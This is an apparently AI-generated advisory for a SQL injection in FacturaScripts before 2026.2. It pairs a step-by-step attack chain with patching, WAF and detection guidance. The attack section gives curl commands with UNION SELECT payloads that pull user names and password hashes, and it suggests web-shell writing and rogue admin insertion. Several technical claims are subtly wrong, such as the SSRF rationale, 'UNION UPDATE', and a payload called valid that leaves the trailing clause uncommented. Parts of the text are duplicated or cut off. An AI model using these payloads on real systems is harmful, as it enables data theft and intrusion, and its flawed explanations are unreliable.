CVE-2026-45262 — NeoRazorX Facturascripts (< 2026.2) — CWE-89 · CWE-918
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table. This issue has been patched in version 2026.2.
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table. This issue has been patched in version 2026.2.
CVE‑2026‑45262 – Unescaped‑Identifier SQL Injection in FacturaScripts < 2026.2
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| Vulnerability type | SQL injection (unescaped identifier) that can be combined with a UNION‑based data‑exfiltration payload. |
| Relevant CWE(s) | CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection).<br>CWE‑918 – Server‑Side Request Forgery (relevant because the injection can be used to read arbitrary tables, effectively “requesting” data from the DB). |
| CVSS 3.1 vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H – Network‑reachable, low attack complexity, requires only a low‑privilege account (or even unauthenticated if the API endpoint is public), no user interaction, and the impact is Scope‑Changing with High confidentiality, integrity, and availability impact. |
| Root cause | The core helper Core/Where.php::sqlColumn() contains a whitelist bypass: any column identifier that contains both an opening “(” and a closing “)” is exempted from identifier escaping. The two API filter builders (APIModel::getWhereValues() and ApiAttachedFiles::getWhereValues()) forward the raw request key ($_GET['filter'][$key]) directly into a DataBaseWhere object. When the query builder later calls sqlColumn($key), the branch that detects parentheses returns the supplied string unchanged, allowing an attacker‑controlled fragment to be injected into the WHERE clause verbatim. Because the fragment is placed as the left‑hand side of an equality test, the attacker can close the original expression, inject a UNION SELECT … payload, and comment out the remainder, resulting in a classic UNION‑based SQL injection that can read any table in the database.
In short: missing identifier sanitisation → attacker‑controlled column name → arbitrary SQL execution.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI path is illustrative because the public CVE description does not disclose the precise endpoint name.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the application – Scan the target host for the characteristic FacturaScripts HTML footer, /index.php?c=Home&action=about, or the presence of /api/ routes. | FacturaScripts ships a public “API” endpoint (/api/v1/…) that is documented in its open‑source repo. |
| 1.2 | Determine version – Request GET /api/v1/version (if exposed) or read the composer.json//install.php file via directory listing. The response contains a string like {"version":"2026.1.4"}. | The vulnerability exists only in versions prior to 2026.2. |
| 1.3 | Confirm API filter support – Issue a benign request such as GET /api/v1/invoices?filter[status]=paid. The response returns a JSON list of invoices, confirming that the filter[] parameter is parsed and passed to the Where builder. | This proves the attack surface (the filter associative array) is reachable. |
2. Exploitation
Goal: Retrieve the nick and password columns from the users table (or any other sensitive data).
2.1 Craft the malicious filter key
The vulnerable code treats the array key of filter[] as a column identifier. By embedding parentheses we bypass escaping:
filter[(0)UNION SELECT nick,password FROM users WHERE (1=1)]=anythingExplanation of the payload:
(0)– a harmless expression that evaluates to0.UNION SELECT nick,password FROM users WHERE (1=1)– the injection that pulls the desired rows.- The final
=anythingis required because the framework always buildsWHERE <column> = '<value>'. The value part (anything) is irrelevant once the UNION is introduced; it will be ignored by the DB engine.
2.2 Send the request
# Illustrative endpoint – replace /api/v1/invoices with any model that uses the generic filter builder
curl -s -G "https://target.example.com/api/v1/invoices" \
--data-urlencode "filter[(0)UNION SELECT nick,password FROM users WHERE (1=1)]=foo" \
-H "Accept: application/json"What happens internally
1. $_GET['filter'] contains a key named (0)UNION SELECT nick,password FROM users WHERE (1=1).
2. APIModel::getWhereValues() iterates over the array and creates new DataBaseWhere($key, $value, '=', …).
3. The query builder reaches Where::sqlColumn($key). Because the key contains both ( and ), the identifier‑escaping branch is skipped and the raw string is returned.
4. The final SQL fragment becomes:
WHERE (0)UNION SELECT nick,password FROM users WHERE (1=1) = 'foo'The DB engine parses this as:
WHERE (0) -- always false, ignored
UNION
SELECT nick,password FROM users WHERE (1=1) -- the injected SELECTThe result set returned by the API call now contains the user table rows instead of invoice rows.
2.3 Extracting additional data
The attacker can repeat the request with different column lists (e.g., SELECT credit_card,expiry FROM payments) or use LIMIT/OFFSET to paginate large tables:
curl -G "https://target.example.com/api/v1/invoices" \
--data-urlencode "filter[(0)UNION SELECT id,email FROM users LIMIT 0,10]=x"3. Post‑Exploitation
| Impact | How the attacker leverages it |
|---|---|
| Confidentiality | Dump of the entire users table (password hashes, API keys, email addresses). Also any other table can be read (financial records, invoices, tax data). |
| Integrity | By modifying the injected payload to UNION UPDATE … (if the DB user has write privileges) the attacker could alter data, e.g., change invoice amounts or user privileges. |
| Availability | The attacker can issue a UNION SELECT SLEEP(5) or a massive UNION SELECT * FROM large_table to cause DoS, or use the injection to execute DROP TABLE if the DB user is overly privileged. |
| Privilege escalation | If the DB user used by FacturaScripts runs with root or admin privileges (common misconfiguration), the attacker could execute arbitrary SQL commands, potentially writing a web‑shell into the filesystem via SELECT ... INTO OUTFILE. |
| Persistence | Insert a new admin user into the users table (INSERT INTO users (nick, password, role) VALUES ('attacker','<hash>','admin')). |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical consequence |
|---|---|---|
| Confidentiality | High (C:H) | Full exposure of all stored data – financial records, personal data of clients, employee credentials, and possibly PCI‑DSS data. |
| Integrity | High (I:H) | Ability to tamper with invoices, tax filings, or user privileges, leading to fraud or regulatory violations. |
| Availability | High (A:H) | An attacker can render the application unusable (SQL‑based DoS) or corrupt the database, causing service outage. |
| Scope | Changed (S:C) | The injection occurs in the API layer but the impact spreads to the entire database, affecting components beyond the vulnerable endpoint. |
Business impact may include:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to FacturaScripts 2026.2 or any later release. The patch removes the parentheses‑exemption and forces identifier escaping for *all* column names. |
| Version range | All releases < 2026.2 (e.g., 2026.1.x, 2025.*) are vulnerable. |
| Verification | After upgrade, confirm that Core/Where.php::sqlColumn() always calls $this->escapeIdentifier($column) regardless of content. |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | Implementation |
|---|---|
| Input validation | Reject any filter keys that contain ( or ) characters. Example (PHP):<br><br>``php\nif (preg_match('/[()]/', $key)) { http_response_code(400); exit('Invalid filter key'); }\n` |
| Prepared statements for identifiers | Although most DB drivers cannot bind column names, you can maintain a whitelist of allowed columns per model and reject anything else. |
| Web Application Firewall | Deploy a ModSecurity rule that drops requests containing a filter[ parameter with a ( or ) in the key. Example rule (ModSecurity 3.x syntax):<br><br>`SecRule ARGS_NAMES "@rx ^filter\[[^\]]*\([^\]]*\)\]" "id:400001,phase:2,deny,log,msg:'SQLi – unescaped identifier in FacturaScripts filter'"`` |
| Restrict API exposure | If the API is not required for public use, bind it to an internal network, enforce authentication (e.g., OAuth2), and limit IP ranges. |
| Least‑privilege DB user | Ensure the DB account used by FacturaScripts has SELECT/INSERT/UPDATE only on the tables it truly needs, and no FILE or DROP privileges. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
| Web server access logs (Apache/Nginx) | Requests containing filter[ with a ( or ) in the key, e.g.:<br>GET /api/v1/invoices?filter[(0)UNION SELECT nick,password FROM users WHERE (1=1)]=foo HTTP/1.1 |
Application logs (FacturScripts log/ directory) | Errors like SQLSTATE[42000]: Syntax error or access violation: 1064 followed by the injected fragment. |
Database audit logs (MySQL general_log or audit_log) | Queries that contain UNION SELECT where the left‑hand side of a WHERE clause is not a legitimate column name, e.g.:<br>SELECT * FROM invoices WHERE (0)UNION SELECT nick,password FROM users WHERE (1=1) = 'foo' |
| IDS/IPS signatures | Alerts for UNION SELECT preceded by a WHERE ( pattern in HTTP GET parameters. |
| File integrity monitoring | Unexpected modifications to Core/Where.php (if an attacker attempts a local file change). |
Response: On detection, block the offending IP, rotate DB credentials, and perform a full data‑exfiltration audit.
⚠️ Urgency
| Timeline | Action |
|---|---|
| 0‑24 h | Block the vulnerable API endpoint at the perimeter (WAF rule) and enforce input validation. |
| 24‑48 h | Deploy the official 2026.2 patch to all production instances. |
| ≤ 72 h | Verify patch effectiveness, rotate all database credentials, and conduct a forensic review for data leakage. |
| ≤ 1 week | Harden the DB user privileges and implement long‑term API authentication/authorization. |
Given the high impact and low barrier to exploitation, organizations running FacturaScripts < 2026.2 should treat this as a critical emergency and prioritize remediation above most other change‑management activities.
[🤖 CVE Professor AI Security Engine]
FOFA Query